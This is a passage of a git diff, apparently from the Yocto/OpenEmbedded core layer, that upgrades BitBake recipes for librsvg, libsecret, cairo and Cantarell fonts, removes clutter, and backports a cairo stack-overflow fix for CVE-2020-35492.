++{"files":{"Cargo.toml":"927df7476ebf5f5983169cfd973f4c95b84da17caeb20d33cccf50e326af5316","LICENSE-APACHE":"a60eea817514531668d7e00765731449fe14d059d3249e0bc93b36de45f759f2","LICENSE-MIT":"23f18e03dc49df91622fe2a76176497404e46ced8a715d9d2b67a7446571cca3","README.md":"3fe7396637bf9233908f41c6001cfcb00a379225e06e36e508c8b3d7264a8aae","src/lib.rs":"534efc2f977d8c67d5be3a4c3e81093a6c00ab2de1102404166b1573ad96dbd2","src/metadata.rs":"657bc1b77e949e4800f9dd808790ffa535820e1658d412121a1da548e0cdd02c","src/test.rs":"9d5f8c1fb7a821352d6ba75cb005ead3e36b4f359e61feb605ab8a36d4fd31f8","src/tests/lib/libteststatic.a":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","src/tests/testanotherlib.pc":"bb4fd942324e6d49ce3becd827aa5c948d1924ca6681904a3695c19b1424eb3c","src/tests/testdata.pc":"43f481e989c03674fed5ef78c6420b3f8d36a2ce001928d86c418d1844acd5e7","src/tests/testlib-2.0.pc":"152eb0c70c14c3d948118408f3d1fd3bb7531b02aa792db85bd957f7db90b45b","src/tests/testlib-3.0.pc":"cd39c2ef88f6828c9291150cc4b624e769abef484674eaebaa4f67979501315f","src/tests/testlib.pc":"75c0d8a5345f65794f583c83e1cf0dbf3385af6e6abea1d61bb86eef707a52db","src/tests/teststaticlib.pc":"77df23f6c7c1d47aff18453b47c87e53ec8a96017546e0a55c8c4d1e13b70134","src/tests/toml-missing-file/no-cargo-toml-here":"6ab4da4b56f15315df6538610cfcd2ba3d0f9a7a8414678ff00ab5a78f7d41fa"},"package":"a1a45a1c4c9015217e12347f2a411b57ce2c4fc543913b14b6fe40483328e709"}
+diff --git a/vendor/system-deps/src/lib.rs b/vendor/system-deps/src/lib.rs
+index 45ab1ce..f87d1ec 100644
+--- a/vendor/system-deps/src/lib.rs
++++ b/vendor/system-deps/src/lib.rs
+@@ -800,21 +800,7 @@ impl Config {
+ }
+
+ fn check_cfg(&self, cfg: &cfg_expr::Expression) -> Result<bool, Error> {
+- use cfg_expr::{targets::get_builtin_target_by_triple, Predicate};
+-
+- let target = self
+- .env
+- .get("TARGET")
+- .expect("no TARGET env variable defined");
+- let target = get_builtin_target_by_triple(&target)
+- .unwrap_or_else(|| panic!("Invalid TARGET: {}", target));
+-
+- let res = cfg.eval(|pred| match pred {
+- Predicate::Target(tp) => Some(tp.matches(target)),
+- _ => None,
+- });
+-
+- res.ok_or_else(|| Error::UnsupportedCfg(cfg.original().to_string()))
++ Ok(true)
+ }
+ }
+
diff --git a/meta/recipes-gnome/librsvg/librsvg/gtk-option.patch b/meta/recipes-gnome/librsvg/librsvg/gtk-option.patch
deleted file mode 100644
index 6c23071cd3..0000000000
--- a/meta/recipes-gnome/librsvg/librsvg/gtk-option.patch
+++ /dev/null
@@ -1,60 +0,0 @@
-From 4e0ce3f22d45033a108cbacca3e5ec6728bd44f3 Mon Sep 17 00:00:00 2001
-From: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Date: Tue, 11 Aug 2015 16:25:38 +0300
-Subject: [PATCH] configure: add option to enable/disable use of GTK+
-
-Distro packagers like predictability and automatically detected optional
-dependencies are not predicable. Add a --with-gtk3 option (default to "auto")
-for forcibly controlling whether GTK+ will be used or not.
-
-Upstream-Status: Submitted [https://bugzilla.gnome.org/show_bug.cgi?id=712693]
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
----
- configure.ac | 17 +++++++++++------
- 1 file changed, 11 insertions(+), 6 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index e61a952..c3aae84 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -130,17 +130,22 @@ AC_CHECK_FUNCS(strtok_r)
- # GTK
- # ===========================================================================
-
--PKG_CHECK_MODULES([GTK3],[gtk+-3.0 >= $GTK3_REQUIRED],[have_gtk_3=yes],[have_gtk_3=no])
--
- GTK3_BINARY_VERSION=
-
--if test "$have_gtk_3" = "yes"; then
-- GTK3_BINARY_VERSION="`$PKG_CONFIG --variable=gtk_binary_version gtk+-3.0`"
-+AC_MSG_CHECKING([whether to use GTK+ 3])
-+AC_ARG_WITH([gtk3],
-+ [AS_HELP_STRING([--without-gtk3],[Don't build GTK+3 tools (default=auto)])],
-+ [],[PKG_CHECK_EXISTS([gtk+-3.0 >= $GTK3_REQUIRED],[with_gtk3=yes],[with_gtk3=no])])
-+AC_MSG_RESULT([$with_gtk3])
-+
-+if test "$with_gtk3" = "yes"; then
-+ PKG_CHECK_MODULES(GTK3, [gtk+-3.0 >= $GTK3_REQUIRED])
-+ GTK3_BINARY_VERSION="`$PKG_CONFIG --variable=gtk_binary_version gtk+-3.0`"
- fi
-
- AC_SUBST([GTK3_BINARY_VERSION])
-
--AM_CONDITIONAL([HAVE_GTK_3],[test "$have_gtk_3" = "yes"])
-+AM_CONDITIONAL([HAVE_GTK_3],[test "$with_gtk3" = "yes"])
-
- dnl ===========================================================================
- dnl GDK-Pixbuf SVG loader
-@@ -298,6 +303,6 @@ librsvg-$VERSION
- Build introspectable bindings: ${found_introspection}
- Build Vala bindings: ${enable_vala}
- Build GdkPixbuf loader: ${enable_pixbuf_loader}
-- GTK+ $GTK3_REQUIRED or later: ${have_gtk_3}
-+ GTK+ $GTK3_REQUIRED or later: ${with_gtk_3}
- Build miscellaneous tools: ${build_misc_tools}
- "
---
-2.1.4
-
diff --git a/meta/recipes-gnome/librsvg/librsvg_2.40.20.bb b/meta/recipes-gnome/librsvg/librsvg_2.40.20.bb
deleted file mode 100644
index 7f98127fd0..0000000000
--- a/meta/recipes-gnome/librsvg/librsvg_2.40.20.bb
+++ /dev/null
@@ -1,49 +0,0 @@
-SUMMARY = "Library for rendering SVG files"
-DESCRIPTION = "A small library to render Scalable Vector Graphics (SVG), \
-associated with the GNOME Project. It renders SVG files to Cairo surfaces. \
-Cairo is the 2D, antialiased drawing library that GNOME uses to draw things to \
-the screen or to generate output for printing."
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/librsvg"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/librsvg/issues"
-
-RECIPE_NO_UPDATE_REASON = "Versions from 2.41.0 requires Rust compiler to build it"
-
-LICENSE = "LGPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://rsvg.h;beginline=3;endline=24;md5=20b4113c4909bbf0d67e006778302bc6"
-
-SECTION = "x11/utils"
-DEPENDS = "cairo gdk-pixbuf glib-2.0 libcroco libxml2 pango"
-BBCLASSEXTEND = "native"
-
-inherit gnomebase gtk-doc pixbufcache upstream-version-is-even gobject-introspection
-
-SRC_URI += "file://gtk-option.patch \
- file://0001-Auto-detect-Bsymbolic-fixes-configure-on-macOS.patch \
-"
-
-SRC_URI[archive.md5sum] = "4949d313b0c5d9161a5c259104af5568"
-SRC_URI[archive.sha256sum] = "cff4dd3c3b78bfe99d8fcfad3b8ba1eee3289a0823c0e118d78106be6b84c92b"
-
-CACHED_CONFIGUREVARS = "ac_cv_path_GDK_PIXBUF_QUERYLOADERS=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/gdk-pixbuf-query-loaders"
-
-PACKAGECONFIG ??= "gdkpixbuf"
-# The gdk-pixbuf loader
-PACKAGECONFIG[gdkpixbuf] = "--enable-pixbuf-loader,--disable-pixbuf-loader,gdk-pixbuf-native"
-# GTK+ test application (rsvg-view)
-PACKAGECONFIG[gtk] = "--with-gtk3,--without-gtk3,gtk+3"
-
-do_install_append() {
- # Loadable modules don't need .a or .la on Linux
- rm -f ${D}${libdir}/gdk-pixbuf-2.0/*/loaders/*.a ${D}${libdir}/gdk-pixbuf-2.0/*/loaders/*.la
-}
-
-PACKAGES =+ "librsvg-gtk rsvg"
-FILES_rsvg = "${bindir}/rsvg* \
- ${datadir}/pixmaps/svg-viewer.svg \
- ${datadir}/themes"
-FILES_librsvg-gtk = "${libdir}/gdk-pixbuf-2.0/*/*/*.so \
- ${datadir}/thumbnailers/librsvg.thumbnailer"
-RRECOMMENDS_librsvg-gtk = "gdk-pixbuf-bin"
-
-PIXBUF_PACKAGES = "librsvg-gtk"
diff --git a/meta/recipes-gnome/librsvg/librsvg_2.52.7.bb b/meta/recipes-gnome/librsvg/librsvg_2.52.7.bb
new file mode 100644
index 0000000000..eb420e732c
--- /dev/null
+++ b/meta/recipes-gnome/librsvg/librsvg_2.52.7.bb
@@ -0,0 +1,75 @@
+SUMMARY = "Library for rendering SVG files"
+DESCRIPTION = "A small library to render Scalable Vector Graphics (SVG), \
+associated with the GNOME Project. It renders SVG files to Cairo surfaces. \
+Cairo is the 2D, antialiased drawing library that GNOME uses to draw things to \
+the screen or to generate output for printing."
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/librsvg"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/librsvg/issues"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c \
+ "
+
+SECTION = "x11/utils"
+DEPENDS = "cairo gdk-pixbuf glib-2.0 libcroco libxml2 pango"
+BBCLASSEXTEND = "native"
+
+inherit gnomebase gtk-doc pixbufcache upstream-version-is-even gobject-introspection rust vala
+
+SRC_URI += "file://0001-Makefile.am-pass-rust-target-to-cargo-also-when-not-.patch \
+ file://0001-system-deps-src-lib.rs-do-not-probe-into-harcoded-li.patch \
+ "
+
+SRC_URI[archive.sha256sum] = "057c1eeeaf85c84e254bdb707459207f5840da5b4d52b4711c03140ed09e6887"
+
+# librsvg is still autotools-based, but is calling cargo from its automake-driven makefiles
+# so we cannot use cargo class directly, but still need bits and pieces from it
+# for cargo to be happy
+BASEDEPENDS:append = " cargo-native"
+
+export RUST_BACKTRACE = "full"
+export RUSTFLAGS
+export RUST_TARGET_PATH
+
+export RUST_TARGET = "${HOST_SYS}"
+
+RUSTFLAGS:append:mips = " --cfg crossbeam_no_atomic_64"
+RUSTFLAGS:append:mipsel = " --cfg crossbeam_no_atomic_64"
+RUSTFLAGS:append:powerpc = " --cfg crossbeam_no_atomic_64"
+RUSTFLAGS:append:riscv32 = " --cfg crossbeam_no_atomic_64"
+
+# rust-cross writes the target linker binary into target json definition without any flags.
+# This breaks here because the linker isn't going to work without at least knowing where
+# the sysroot is. So copy the json to workdir, and patch in the path to wrapper from rust class
+# which supplies the needed flags.
+do_compile:prepend() {
+ cp ${STAGING_LIBDIR_NATIVE}/rustlib/${HOST_SYS}.json ${WORKDIR}
+ cp ${STAGING_LIBDIR_NATIVE}/rustlib/${BUILD_SYS}.json ${WORKDIR}
+ sed -ie 's,"linker": ".*","linker": "${RUST_TARGET_CC}",g' ${WORKDIR}/${HOST_SYS}.json
+ RUST_TARGET_PATH="${WORKDIR}"
+ export RUST_TARGET_PATH
+}
+
+# Issue only on windows
+CVE_CHECK_IGNORE += "CVE-2018-1000041"
+
+CACHED_CONFIGUREVARS = "ac_cv_path_GDK_PIXBUF_QUERYLOADERS=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/gdk-pixbuf-query-loaders"
+
+PACKAGECONFIG ??= "gdkpixbuf"
+# The gdk-pixbuf loader
+PACKAGECONFIG[gdkpixbuf] = "--enable-pixbuf-loader,--disable-pixbuf-loader,gdk-pixbuf-native"
+
+do_install:append() {
+ # Loadable modules don't need .a or .la on Linux
+ rm -f ${D}${libdir}/gdk-pixbuf-2.0/*/loaders/*.a ${D}${libdir}/gdk-pixbuf-2.0/*/loaders/*.la
+}
+
+PACKAGES =+ "librsvg-gtk rsvg"
+FILES:rsvg = "${bindir}/rsvg* \
+ ${datadir}/pixmaps/svg-viewer.svg \
+ ${datadir}/themes"
+FILES:librsvg-gtk = "${libdir}/gdk-pixbuf-2.0/*/*/*.so \
+ ${datadir}/thumbnailers/librsvg.thumbnailer"
+RRECOMMENDS:librsvg-gtk = "gdk-pixbuf-bin"
+
+PIXBUF_PACKAGES = "librsvg-gtk"
diff --git a/meta/recipes-gnome/libsecret/libsecret_0.19.1.bb b/meta/recipes-gnome/libsecret/libsecret_0.19.1.bb
deleted file mode 100644
index 3da2a4acac..0000000000
--- a/meta/recipes-gnome/libsecret/libsecret_0.19.1.bb
+++ /dev/null
@@ -1,27 +0,0 @@
-SUMMARY = "libsecret is a library for storing and retrieving passwords and other secrets"
-DESCRIPTION = "A GObject-based library for accessing the Secret Service API of \
-the freedesktop.org project, a cross-desktop effort to access passwords, \
-tokens and other types of secrets. libsecret provides a convenient wrapper \
-for these methods so consumers do not have to call the low-level DBus methods."
-LICENSE = "LGPLv2.1"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/libsecret/issues"
-LIC_FILES_CHKSUM = "file://COPYING;md5=23c2a5e0106b99d75238986559bb5fc6"
-
-inherit gnomebase gtk-doc vala gobject-introspection manpages
-
-DEPENDS += "glib-2.0 libgcrypt gettext-native"
-
-PACKAGECONFIG[manpages] = "--enable-manpages, --disable-manpages, libxslt-native xmlto-native"
-
-SRC_URI[archive.md5sum] = "ea673119c00570d6434f8fd3636f1eb8"
-SRC_URI[archive.sha256sum] = "8583e10179456ae2c83075d95455f156dc08db6278b32bf4bd61819335a30e3a"
-
-# http://errors.yoctoproject.org/Errors/Details/20228/
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
-
-# vapigen.m4 bundled with the tarball does not yet have our cross-compilation fixes
-do_configure_prepend() {
- rm -f ${S}/build/m4/vapigen.m4
-}
diff --git a/meta/recipes-gnome/libsecret/libsecret_0.20.5.bb b/meta/recipes-gnome/libsecret/libsecret_0.20.5.bb
new file mode 100644
index 0000000000..9b09c3bee4
--- /dev/null
+++ b/meta/recipes-gnome/libsecret/libsecret_0.20.5.bb
@@ -0,0 +1,26 @@
+SUMMARY = "libsecret is a library for storing and retrieving passwords and other secrets"
+DESCRIPTION = "A GObject-based library for accessing the Secret Service API of \
+the freedesktop.org project, a cross-desktop effort to access passwords, \
+tokens and other types of secrets. libsecret provides a convenient wrapper \
+for these methods so consumers do not have to call the low-level DBus methods."
+LICENSE = "LGPL-2.1-only"
+HOMEPAGE = "https://github.com/GNOME/libsecret"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/libsecret/issues"
+LIC_FILES_CHKSUM = "file://COPYING;md5=23c2a5e0106b99d75238986559bb5fc6"
+
+GNOMEBASEBUILDCLASS = "meson"
+
+inherit gnomebase gi-docgen vala gobject-introspection manpages
+
+DEPENDS += "glib-2.0 libgcrypt gettext-native"
+
+SRC_URI[archive.sha256sum] = "3fb3ce340fcd7db54d87c893e69bfc2b1f6e4d4b279065ffe66dac9f0fd12b4d"
+
+GTKDOC_MESON_OPTION = 'gtk_doc'
+
+PACKAGECONFIG[manpages] = "-Dmanpage=true,-Dmanpage=false,libxslt-native xmlto-native"
+
+# http://errors.yoctoproject.org/Errors/Details/20228/
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
diff --git a/meta/recipes-graphics/builder/builder_0.1.bb b/meta/recipes-graphics/builder/builder_0.1.bb
index 0a64c31ab3..39be3bd63f 100644
--- a/meta/recipes-graphics/builder/builder_0.1.bb
+++ b/meta/recipes-graphics/builder/builder_0.1.bb
@@ -10,14 +10,14 @@ SRC_URI = "file://builder_session.sh \
S = "${WORKDIR}"
-RDEPENDS_${PN} = "mini-x-session"
+RDEPENDS:${PN} = "mini-x-session"
inherit useradd
# builder user password is "builder"
BUILDER_PASSWORD ?= ".gLibiNXn0P12"
USERADD_PACKAGES = "${PN}"
-USERADD_PARAM_${PN} = "--system --create-home \
+USERADD_PARAM:${PN} = "--system --create-home \
--groups video,tty,audio \
--password ${BUILDER_PASSWORD} \
--user-group builder"
@@ -29,3 +29,5 @@ do_install () {
chown builder.builder ${D}${sysconfdir}/mini_x/session.d/builder_session.sh
}
+# -4178 is an unrelated 'builder'
+CVE_CHECK_IGNORE = "CVE-2008-4178"
diff --git a/meta/recipes-graphics/cairo/cairo/CVE-2020-35492.patch b/meta/recipes-graphics/cairo/cairo/CVE-2020-35492.patch
new file mode 100644
index 0000000000..fb6ce5cfdf
--- /dev/null
+++ b/meta/recipes-graphics/cairo/cairo/CVE-2020-35492.patch
@@ -0,0 +1,60 @@
+Fix stack buffer overflow.
+
+CVE: CVE-2020-35492
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+From 03a820b173ed1fdef6ff14b4468f5dbc02ff59be Mon Sep 17 00:00:00 2001
+From: Heiko Lewin <heiko.lewin@worldiety.de>
+Date: Tue, 15 Dec 2020 16:48:19 +0100
+Subject: [PATCH] Fix mask usage in image-compositor
+
+---
+ src/cairo-image-compositor.c | 8 ++--
+ test/Makefile.sources | 1 +
+ test/bug-image-compositor.c | 39 ++++++++++++++++++++
+ test/reference/bug-image-compositor.ref.png | Bin 0 -> 185 bytes
+ 4 files changed, 44 insertions(+), 4 deletions(-)
+ create mode 100644 test/bug-image-compositor.c
+ create mode 100644 test/reference/bug-image-compositor.ref.png
+
+diff --git a/src/cairo-image-compositor.c b/src/cairo-image-compositor.c
+index 79ad69f68..4f8aaed99 100644
+--- a/src/cairo-image-compositor.c
++++ b/src/cairo-image-compositor.c
+@@ -2601,14 +2601,14 @@ _inplace_src_spans (void *abstract_renderer, int y, int h,
+ unsigned num_spans)
+ {
+ cairo_image_span_renderer_t *r = abstract_renderer;
+- uint8_t *m;
++ uint8_t *m, *base = (uint8_t*)pixman_image_get_data(r->mask);
+ int x0;
+
+ if (num_spans == 0)
+ return CAIRO_STATUS_SUCCESS;
+
+ x0 = spans[0].x;
+- m = r->_buf;
++ m = base;
+ do {
+ int len = spans[1].x - spans[0].x;
+ if (len >= r->u.composite.run_length && spans[0].coverage == 0xff) {
+@@ -2655,7 +2655,7 @@ _inplace_src_spans (void *abstract_renderer, int y, int h,
+ spans[0].x, y,
+ spans[1].x - spans[0].x, h);
+
+- m = r->_buf;
++ m = base;
+ x0 = spans[1].x;
+ } else if (spans[0].coverage == 0x0) {
+ if (spans[0].x != x0) {
+@@ -2684,7 +2684,7 @@ _inplace_src_spans (void *abstract_renderer, int y, int h,
+ #endif
+ }
+
+- m = r->_buf;
++ m = base;
+ x0 = spans[1].x;
+ } else {
+ *m++ = spans[0].coverage;
+--
diff --git a/meta/recipes-graphics/cairo/cairo_1.16.0.bb b/meta/recipes-graphics/cairo/cairo_1.16.0.bb
index f32e9ba1bc..0b5d1d548f 100644
--- a/meta/recipes-graphics/cairo/cairo_1.16.0.bb
+++ b/meta/recipes-graphics/cairo/cairo_1.16.0.bb
@@ -10,23 +10,24 @@ HOMEPAGE = "http://cairographics.org"
BUGTRACKER = "http://bugs.freedesktop.org"
SECTION = "libs"
-LICENSE = "MPL-1.1 & LGPLv2.1 & GPLv3+"
-LICENSE_${PN} = "MPL-1.1 & LGPLv2.1"
-LICENSE_${PN}-dev = "MPL-1.1 & LGPLv2.1"
-LICENSE_${PN}-doc = "MPL-1.1 & LGPLv2.1"
-LICENSE_${PN}-gobject = "MPL-1.1 & LGPLv2.1"
-LICENSE_${PN}-script-interpreter = "MPL-1.1 & LGPLv2.1"
-LICENSE_${PN}-perf-utils = "GPLv3+"
+LICENSE = "(MPL-1.1 | LGPL-2.1-only) & GPL-3.0-or-later"
+LICENSE:${PN} = "MPL-1.1 | LGPL-2.1-only"
+LICENSE:${PN}-dev = "MPL-1.1 | LGPL-2.1-only"
+LICENSE:${PN}-doc = "MPL-1.1 | LGPL-2.1-only"
+LICENSE:${PN}-gobject = "MPL-1.1 | LGPL-2.1-only"
+LICENSE:${PN}-script-interpreter = "MPL-1.1 | LGPL-2.1-only"
+LICENSE:${PN}-perf-utils = "GPL-3.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=e73e999e0c72b5ac9012424fa157ad77"
DEPENDS = "fontconfig glib-2.0 libpng pixman zlib"
SRC_URI = "http://cairographics.org/releases/cairo-${PV}.tar.xz \
- file://cairo-get_bitmap_surface-bsc1036789-CVE-2017-7475.diff \
+ file://cairo-get_bitmap_surface-bsc1036789-CVE-2017-7475.diff \
file://CVE-2018-19876.patch \
file://CVE-2019-6461.patch \
file://CVE-2019-6462.patch \
+ file://CVE-2020-35492.patch \
"
SRC_URI[md5sum] = "f19e0353828269c22bd72e271243a552"
@@ -40,7 +41,10 @@ X11DEPENDS = "virtual/libx11 libsm libxrender libxext"
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'directfb', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11 xcb', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'opengl', '', d)}"
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'opengl', '', d)} \
+ trace"
+PACKAGECONFIG:class-native = "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11 xcb', '', d)}"
+PACKAGECONFIG:class-nativesdk = "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11 xcb', '', d)}"
PACKAGECONFIG[x11] = "--with-x=yes -enable-xlib,--with-x=no --disable-xlib,${X11DEPENDS}"
PACKAGECONFIG[xcb] = "--enable-xcb,--disable-xcb,libxcb"
@@ -49,6 +53,7 @@ PACKAGECONFIG[valgrind] = "--enable-valgrind=yes,--disable-valgrind,valgrind"
PACKAGECONFIG[egl] = "--enable-egl=yes,--disable-egl,virtual/egl"
PACKAGECONFIG[glesv2] = "--enable-glesv2,--disable-glesv2,virtual/libgles2"
PACKAGECONFIG[opengl] = "--enable-gl,--disable-gl,virtual/libgl"
+PACKAGECONFIG[trace] = "--enable-trace,--disable-trace"
EXTRA_OECONF += " \
${@bb.utils.contains('TARGET_FPU', 'soft', '--disable-some-floating-point', '', d)} \
@@ -60,30 +65,34 @@ export ac_cv_lib_bfd_bfd_openr="no"
# Ensure we don't depend on LZO
export ac_cv_lib_lzo2_lzo2a_decompress="no"
-do_install_append () {
+do_install:append () {
rm -rf ${D}${bindir}/cairo-sphinx
rm -rf ${D}${libdir}/cairo/cairo-fdr*
rm -rf ${D}${libdir}/cairo/cairo-sphinx*
rm -rf ${D}${libdir}/cairo/.debug/cairo-fdr*
rm -rf ${D}${libdir}/cairo/.debug/cairo-sphinx*
+ [ ! -d ${D}${bindir} ] ||
+ rmdir -p --ignore-fail-on-non-empty ${D}${bindir}
+ [ ! -d ${D}${libdir}/cairo ] ||
+ rmdir -p --ignore-fail-on-non-empty ${D}${libdir}/cairo
}
PACKAGES =+ "cairo-gobject cairo-script-interpreter cairo-perf-utils"
-SUMMARY_cairo-gobject = "The Cairo library GObject wrapper library"
-DESCRIPTION_cairo-gobject = "A GObject wrapper library for the Cairo API."
+SUMMARY:cairo-gobject = "The Cairo library GObject wrapper library"
+DESCRIPTION:cairo-gobject = "A GObject wrapper library for the Cairo API."
-SUMMARY_cairo-script-interpreter = "The Cairo library script interpreter"
-DESCRIPTION_cairo-script-interpreter = "The Cairo script interpreter implements \
+SUMMARY:cairo-script-interpreter = "The Cairo library script interpreter"
+DESCRIPTION:cairo-script-interpreter = "The Cairo script interpreter implements \
CairoScript. CairoScript is used by tracing utilities to enable the ability \
to replay rendering."
-DESCRIPTION_cairo-perf-utils = "The Cairo library performance utilities"
+DESCRIPTION:cairo-perf-utils = "The Cairo library performance utilities"
-FILES_${PN} = "${libdir}/libcairo.so.*"
-FILES_${PN}-gobject = "${libdir}/libcairo-gobject.so.*"
-FILES_${PN}-script-interpreter = "${libdir}/libcairo-script-interpreter.so.*"
-FILES_${PN}-perf-utils = "${bindir}/cairo-trace* ${libdir}/cairo/*.la ${libdir}/cairo/libcairo-trace.so"
+FILES:${PN} = "${libdir}/libcairo.so.*"
+FILES:${PN}-gobject = "${libdir}/libcairo-gobject.so.*"
+FILES:${PN}-script-interpreter = "${libdir}/libcairo-script-interpreter.so.*"
+FILES:${PN}-perf-utils = "${bindir}/cairo-trace* ${libdir}/cairo/*.la ${libdir}/cairo/libcairo-trace.so"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/cantarell-fonts/cantarell-fonts_0.303.1.bb b/meta/recipes-graphics/cantarell-fonts/cantarell-fonts_0.303.1.bb
new file mode 100644
index 0000000000..a3a69ae49c
--- /dev/null
+++ b/meta/recipes-graphics/cantarell-fonts/cantarell-fonts_0.303.1.bb
@@ -0,0 +1,18 @@
+SUMMARY = "Cantarell, a Humanist sans-serif font family"
+
+DESCRIPTION = "The Cantarell font typeface is designed as a \
+ contemporary Humanist sans serif, and was developed for \
+ on-screen reading; in particular, reading web pages on an \
+ HTC Dream mobile phone."
+
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/cantarell-fonts/"
+SECTION = "fonts"
+LICENSE = "OFL-1.1 & Apache-2.0"
+LIC_FILES_CHKSUM = "file://COPYING;md5=fb1ef92b6909969a472a6ea3c4e99cb7"
+
+inherit gnomebase meson allarch fontcache pkgconfig
+SRC_URI[archive.sha256sum] = "f9463a0659c63e57e381fdd753cf1929225395c5b49135989424761830530411"
+
+EXTRA_OEMESON += "-Duseprebuilt=true -Dbuildappstream=false"
+
+FILES:${PN} = "${datadir}/fonts ${datadir}/fontconfig"
diff --git a/meta/recipes-graphics/cantarell-fonts/cantarell-fonts_git.bb b/meta/recipes-graphics/cantarell-fonts/cantarell-fonts_git.bb
deleted file mode 100644
index db480bd397..0000000000
--- a/meta/recipes-graphics/cantarell-fonts/cantarell-fonts_git.bb
+++ /dev/null
@@ -1,25 +0,0 @@
-SUMMARY = "Cantarell, a Humanist sans-serif font family"
-
-DESCRIPTION = "The Cantarell font typeface is designed as a \
- contemporary Humanist sans serif, and was developed for \
- on-screen reading; in particular, reading web pages on an \
- HTC Dream mobile phone."
-
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/cantarell-fonts/"
-SECTION = "fonts"
-LICENSE = "OFL-1.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=df91e3ffcab8cfb972a66bf11255188d"
-
-PV = "0.0.25"
-
-SRCREV = "e28a9096da43984212b5b4002b949bcb8c7527f9"
-SRC_URI = "git://gitlab.gnome.org/GNOME/cantarell-fonts.git;protocol=https;branch=reconstruction-0.0.25"
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(?!0\.13)(?!0\.10\.1)\d+\.\d+(\.\d+)+)"
-
-S = "${WORKDIR}/git"
-
-inherit autotools allarch fontcache pkgconfig
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[fontforge] = "--enable-source-rebuild=yes,--enable-source-rebuild=no,fontforge-native"
-FILES_${PN} = "${datadir}/fonts ${datadir}/fontconfig"
diff --git a/meta/recipes-graphics/clutter/clutter-1.0.inc b/meta/recipes-graphics/clutter/clutter-1.0.inc
deleted file mode 100644
index 6dbbf4d803..0000000000
--- a/meta/recipes-graphics/clutter/clutter-1.0.inc
+++ /dev/null
@@ -1,46 +0,0 @@
-SUMMARY = "Graphics library for creating hardware-accelerated user interfaces"
-HOMEPAGE = "http://www.clutter-project.org/"
-LICENSE = "LGPLv2.1+"
-
-inherit clutter ptest-gnome distro_features_check upstream-version-is-even gobject-introspection
-# depends on cogl-1.0 which needs opengl
-REQUIRED_DISTRO_FEATURES ?= "opengl"
-
-DEPENDS = "pango glib-2.0 json-glib atk udev cogl-1.0"
-PACKAGE_BEFORE_PN += "${PN}-examples"
-AUTOTOOLS_AUXDIR = "${S}/build"
-
-EDEPENDS_X11 = "virtual/libx11 libxi libxfixes"
-EDEPENDS_GLX = "virtual/libgl"
-EDEPENDS_EGL = "virtual/egl"
-EDEPENDS_WAYLAND = "wayland libxkbcommon gdk-pixbuf"
-
-EDEPENDS_EVDEV = "libxkbcommon"
-ERDEPENDS_EVDEV = "xkeyboard-config"
-
-# Disable pretty much everything, override in platform specific set up
-EXTRA_OECONF += "--disable-quartz-backend \
- --disable-win32-backend \
- --disable-gdk-backend \
- --disable-cex100-backend \
- --disable-tslib-input \
- "
-
-PACKAGECONFIG[x11] = "--enable-x11-backend,--disable-x11-backend,${EDEPENDS_X11}"
-PACKAGECONFIG[glx] = ",,${EDEPENDS_X11} ${EDEPENDS_GLX}"
-PACKAGECONFIG[egl] = "--enable-egl-backend,--disable-egl-backend,${EDEPENDS_EGL}"
-PACKAGECONFIG[evdev] = "--enable-evdev-input,--disable-evdev-input,${EDEPENDS_EVDEV},${ERDEPENDS_EVDEV}"
-PACKAGECONFIG[wayland] = "--enable-wayland-backend,--disable-wayland-backend,${EDEPENDS_WAYLAND}"
-PACKAGECONFIG[wayland-compositor] = "--enable-wayland-compositor,--disable-wayland-compositor,wayland"
-
-# Default configuration, distros might want to override
-PACKAGECONFIG ??= "egl \
- ${@bb.utils.filter('DISTRO_FEATURES', 'wayland', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'glx x11', '', d)}"
-
-FILES_${PN}-examples = "${libdir}/clutter/examples"
-
-do_configure_prepend() {
- # see https://bugzilla.gnome.org/show_bug.cgi?id=661128 for this
- touch -t 200001010000 ${S}/po/clutter-1.0.pot
-}
diff --git a/meta/recipes-graphics/clutter/clutter-1.0/0001-Remove-clutter.types-as-it-is-build-configuration-sp.patch b/meta/recipes-graphics/clutter/clutter-1.0/0001-Remove-clutter.types-as-it-is-build-configuration-sp.patch
deleted file mode 100644
index 7b3c1980b6..0000000000
--- a/meta/recipes-graphics/clutter/clutter-1.0/0001-Remove-clutter.types-as-it-is-build-configuration-sp.patch
